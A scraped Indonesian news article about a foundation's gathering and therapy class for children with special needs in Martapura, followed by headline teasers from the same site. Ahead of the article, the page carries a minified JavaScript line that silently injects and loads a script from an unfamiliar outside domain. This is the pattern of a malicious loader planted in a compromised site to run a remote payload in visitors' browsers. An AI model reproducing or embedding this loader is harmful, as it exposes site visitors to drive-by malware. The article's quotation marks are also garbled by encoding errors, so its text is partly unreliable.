(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Belasan Anak Berkebutuhan Khusus (ABK) dengan didampingin orang tuanya mengikuti gathering dan classical class yang diadakan oleh Yayasan Melati Anak Bangsa (MAB) di Alun alun Ratu Zalecha Martapura, Sabtu (19/1) sore.
Ketua Yayasan MAB Cernando Candra yang didampingi pengurus relawan MAB Gusti Irya Ichriani mengatakan,yayasannya menampung ABK yang orang tuanya tidak mampu.
“Jadi kita memang selektif untuk memilih dan memasukan ABK ke Yayasan kita,†akunya.
Menurut Candra, hingga sekarang ada 32 anak yang bergabung di yayasannya. Terdiri pasien psikologis 19 anakdan pasien fisioterapi 13 anak. Dengan rincian, 12 anak didiagnosia autis, 2 down syndrome, 1 tunagrahita, 3 hiperaktif, 1 tunarungu, 1 quadrepplegi spatik, 2 microcepalus, 1 DMP, 1 CTEV, 2 paraplegi exsterimiters inferior, 1 delay development dan 6 CP.
“Masalah ABK merupakan masalah yang cukup berat dan menyeluruh. Mengingat dari banyaknya jenis anak berkebutuhan khusus yang masing-masing dari mereka memiliki permasalahan yang berbeda-beda, maka akan dibutuhkan penanganan yang berbeda-beda pula,†katanya.
“Jika anak berkebutuhan khusus mendapatkan perhatian tersendiri dan penanganan yang tepat maka kita akan dapat menemukan keterampilan sesuai dengan minat dan bakat yang mereka miliki, dan anak akan dapat hidup lebih mandiri,†tambahnya.
Namun sebaliknya, jika anak berkebutuhan khusus tidak ditangani dengan tepat akan berdampak dengan semakin bergantungnya anak kepada orang didekatnya dan bakatnya akan semakin tenggelam.
Dalam penanganannya dibutuhkan orang-orang sekitar seperti Yayasan sosial orang tua ataupun keluarga yang mampu memberikan pelayanan kepada anak berkebutuhan khusus dan tanggung jawab mereka untuk memeberikan hak yang sama kepada anak berkebutuhan khusus dengan anak yang tidak yang berkebutuhan khusus.
“Dalam acara yang berlangsung di alun alun Ratu Zalecha Martapura ini, salah satu upaya kami untuk memberikan semacam terapi untuk pasien psikologis yang dihadiri 13 dari 19 anak yang bergabung di tempat kita,†pungasnya. (rendy)
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
This website uses cookies.